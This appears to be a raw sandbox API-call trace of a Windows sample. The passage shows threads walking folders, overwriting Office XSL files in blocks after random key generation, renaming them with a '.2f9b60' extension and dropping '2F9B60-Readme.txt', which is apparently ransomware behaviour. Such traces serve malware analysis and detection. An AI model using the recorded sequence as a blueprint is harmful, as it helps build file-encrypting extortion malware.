NT\\MSFax\\Queue" [0158.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb24 [0158.261] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="SENTIT~1")) returned 1 [0158.261] wcscmp (_String1="SentItems", _String2=".") returned 1 [0158.261] wcscmp (_String1="SentItems", _String2="..") returned 1 [0158.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869b40 [0158.262] wcscpy (in: _Dest=0x1b869b40, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0158.262] wcscat (in: _Dest=0x1b869b40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0158.262] wcscat (in: _Dest=0x1b869b40, _Source="SentItems" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems" [0158.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb28 [0158.273] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 1 [0158.273] wcscmp (_String1="VirtualInbox", _String2=".") returned 1 [0158.273] wcscmp (_String1="VirtualInbox", _String2="..") returned 1 [0158.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1cf5f380 [0158.273] wcscpy (in: _Dest=0x1cf5f380, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0158.273] wcscat (in: _Dest=0x1cf5f380, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0158.273] wcscat (in: _Dest=0x1cf5f380, _Source="VirtualInbox" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" [0158.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cf5f380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb2c [0158.274] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 0 [0158.274] FindClose (in: hFindFile=0x1cd86250 | out: hFindFile=0x1cd86250) returned 1 [0158.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ca70) returned 1 [0158.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1c60) returned 1 [0158.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced89f0) returned 1 Thread: id = 2701 os_tid = 0x22a0 [0157.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1cd0 [0157.735] wcscpy (in: _Dest=0x1b7c1cd0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" [0157.735] wcscat (in: _Dest=0x1b7c1cd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\" [0157.735] wcscat (in: _Dest=0x1b7c1cd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*" [0157.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027d430 [0157.735] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86850 [0157.735] wcscmp (_String1=".", _String2=".") returned 0 [0157.736] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.736] wcscmp (_String1="..", _String2=".") returned 1 [0157.736] wcscmp (_String1="..", _String2="..") returned 0 [0157.736] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 1 [0157.736] wcscmp (_String1="WelcomeScan.jpg", _String2=".") returned 1 [0157.736] wcscmp (_String1="WelcomeScan.jpg", _String2="..") returned 1 [0157.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced3460 [0157.736] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" [0157.736] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\" [0157.736] wcscat (in: _Dest=0x1ced3460, _Source="WelcomeScan.jpg" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" [0158.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced3460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b8 [0158.660] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 0 [0158.660] FindClose (in: hFindFile=0x1cd86850 | out: hFindFile=0x1cd86850) returned 1 [0158.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027d430) returned 1 [0158.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 [0158.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b10) returned 1 Thread: id = 2702 os_tid = 0x22a4 [0157.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\author.xsl")) returned 0x20 [0157.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL", dwFileAttributes=0x20) returned 1 [0157.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\AUTHOR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\author.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x4b4 [0157.739] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x3d38f780 | out: lpFileSize=0x3d38f780*=35682) returned 1 [0157.739] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x8b5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.739] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d38f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d38f748, lpOverlapped=0x0 | out: lpBuffer=0x3d38f700*, lpNumberOfBytesRead=0x3d38f748*=0x4, lpOverlapped=0x0) returned 1 [0159.110] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2bd0 [0159.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2d50 [0159.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2de0 [0159.111] NtQuerySystemTime (in: CurrentTime=0x3d38f640 | out: CurrentTime=0x3d38f640*=132462177642442000) returned 0x0 [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x6a55ff69 [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x3bded792 [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x3cf4a960 [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x6d5a81bf [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x35978b76 [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x295415b4 [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x3580a13e [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x68f29fc4 [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x5d72e4 [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x4ff0a659 [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0xe8edee1 [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x71ef90ea [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x2fdd6657 [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x7c3c311e [0159.111] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x8db42db [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x3ff50407 [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x2b4f6b8 [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x6f9799ef [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x4a0295 [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x509eaf79 [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0xb87f835 [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0xed96dfc [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x670bbf22 [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x55a36742 [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x497a6f2f [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x6d0844e2 [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0xe0e54a1 [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x1ef0c3ed [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x4ba778e3 [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x28b7fc3e [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x12cac440 [0159.112] RtlRandomEx (in: Seed=0x3d38f630 | out: Seed=0x3d38f630) returned 0x755c9726 [0159.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e10 [0159.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308000 [0159.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e40 [0159.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42308000) returned 1 [0159.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2de0) returned 1 [0159.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2bd0) returned 1 [0159.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426b3da0 [0159.121] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.121] ReadFile (in: hFile=0x4b4, lpBuffer=0x426b3da0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d38f6a0, lpOverlapped=0x0 | out: lpBuffer=0x426b3da0*, lpNumberOfBytesRead=0x3d38f6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.179] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3bc0 [0161.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3bc0) returned 1 [0161.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20460f30 [0161.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3bc0 [0161.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3bf0 [0161.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3bf0) returned 1 [0161.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.181] WriteFile (hFile=0x4b4, lpBuffer=0x20460f30, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d38f6a0, lpOverlapped=0x0) [0194.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20460f30) returned 1 [0194.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426b3da0) returned 1 [0194.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4313a420 [0194.351] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.351] WriteFile (in: hFile=0x4b4, lpBuffer=0x431a93e0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3d38f750, lpOverlapped=0x0 | out: lpBuffer=0x431a93e0*, lpNumberOfBytesWritten=0x3d38f750*=0x106, lpOverlapped=0x0) returned 1 [0202.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0202.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4720 [0202.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4720) returned 1 [0202.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d520 [0202.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4720 [0202.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46f0 [0202.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f46f0) returned 1 [0202.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0202.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f670 [0202.963] sprintf (in: _Dest=0x1cd9f670, _Format="%c%c" | out: _Dest="87") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f672, _Format="%c%c" | out: _Dest="18") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f674, _Format="%c%c" | out: _Dest="1d") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f676, _Format="%c%c" | out: _Dest="0b") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f678, _Format="%c%c" | out: _Dest="69") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f67a, _Format="%c%c" | out: _Dest="07") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f67c, _Format="%c%c" | out: _Dest="bf") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f67e, _Format="%c%c" | out: _Dest="19") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f680, _Format="%c%c" | out: _Dest="82") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f682, _Format="%c%c" | out: _Dest="c1") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f684, _Format="%c%c" | out: _Dest="5c") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f686, _Format="%c%c" | out: _Dest="ba") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f688, _Format="%c%c" | out: _Dest="cc") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f68a, _Format="%c%c" | out: _Dest="7d") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f68c, _Format="%c%c" | out: _Dest="6e") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f68e, _Format="%c%c" | out: _Dest="37") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f690, _Format="%c%c" | out: _Dest="7a") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f692, _Format="%c%c" | out: _Dest="73") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f694, _Format="%c%c" | out: _Dest="63") returned 2 [0202.963] sprintf (in: _Dest=0x1cd9f696, _Format="%c%c" | out: _Dest="00") returned 2 [0202.963] RtlInitAnsiString (in: DestinationString=0x3d38f7c8, SourceString="87181d0b6907bf1982c15cbacc7d6e377a736300" | out: DestinationString="87181d0b6907bf1982c15cbacc7d6e377a736300") [0202.963] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d38f798, SourceString="87181d0b6907bf1982c15cbacc7d6e377a736300", AllocateDestinationString=1 | out: DestinationString="87181d0b6907bf1982c15cbacc7d6e377a736300") returned 0x0 [0202.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cf10 [0202.964] wcscat (in: _Dest=0x431307d0, _Source="87181d0b69" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\87181d0b69") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\87181d0b69" [0202.964] wcscat (in: _Dest=0x431307d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\87181d0b69.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\87181d0b69.2f9b60" [0202.964] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\87181d0b69.2f9b60", NtPathName=0x3d38f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\87181d0b69.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4310b900 [0206.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310b900) returned 1 [0206.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43220300) returned 1 [0206.276] NtQueryInformationFile (in: FileHandle=0x4b4, IoStatusBlock=0x3d38f7d8, FileInformation=0x3d38f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3d38f7d8, FileInformation=0x3d38f7e8) returned 0x0 [0206.276] NtSetInformationFile (FileHandle=0x4b4, IoStatusBlock=0x3d38f7d8, FileInformation=0x3d38f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431307d0) returned 1 [0209.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cf10) returned 1 [0209.453] FlushFileBuffers (hFile=0x4b4) returned 1 [0209.474] CloseHandle (hObject=0x4b4) returned 1 [0216.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ad080 [0216.460] wcscpy (in: _Dest=0x202ad080, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0216.460] wcscat (in: _Dest=0x202ad080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt" [0216.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\2f9b60-readme.txt")) returned 0xffffffff [0219.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d1c [0225.595] WriteFile (in: hFile=0x1d1c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3d38f690, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3d38f690*=0xba9, lpOverlapped=0x0) returned 1 [0226.267] CloseHandle (hObject=0x1d1c) returned 1 [0226.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad080) returned 1 [0226.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c650) returned 1 Thread: id = 2703 os_tid = 0x22a8 [0157.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\tag.xsl")) returned 0x20 [0159.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL", dwFileAttributes=0x20) returned 1 [0159.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TAG.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\tag.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2828 [0159.615] GetFileSizeEx (in: hFile=0x2828, lpFileSize=0x3c6ff660 | out: lpFileSize=0x3c6ff660*=35412) returned 1 [0159.615] SetFilePointerEx (in: hFile=0x2828, liDistanceToMove=0x8a50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.615] ReadFile (in: hFile=0x2828, lpBuffer=0x3c6ff5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c6ff628, lpOverlapped=0x0 | out: lpBuffer=0x3c6ff5e0*, lpNumberOfBytesRead=0x3c6ff628*=0x4, lpOverlapped=0x0) returned 1 [0160.896] SetFilePointerEx (in: hFile=0x2828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2840 [0160.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2870 [0160.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a28a0 [0160.897] NtQuerySystemTime (in: 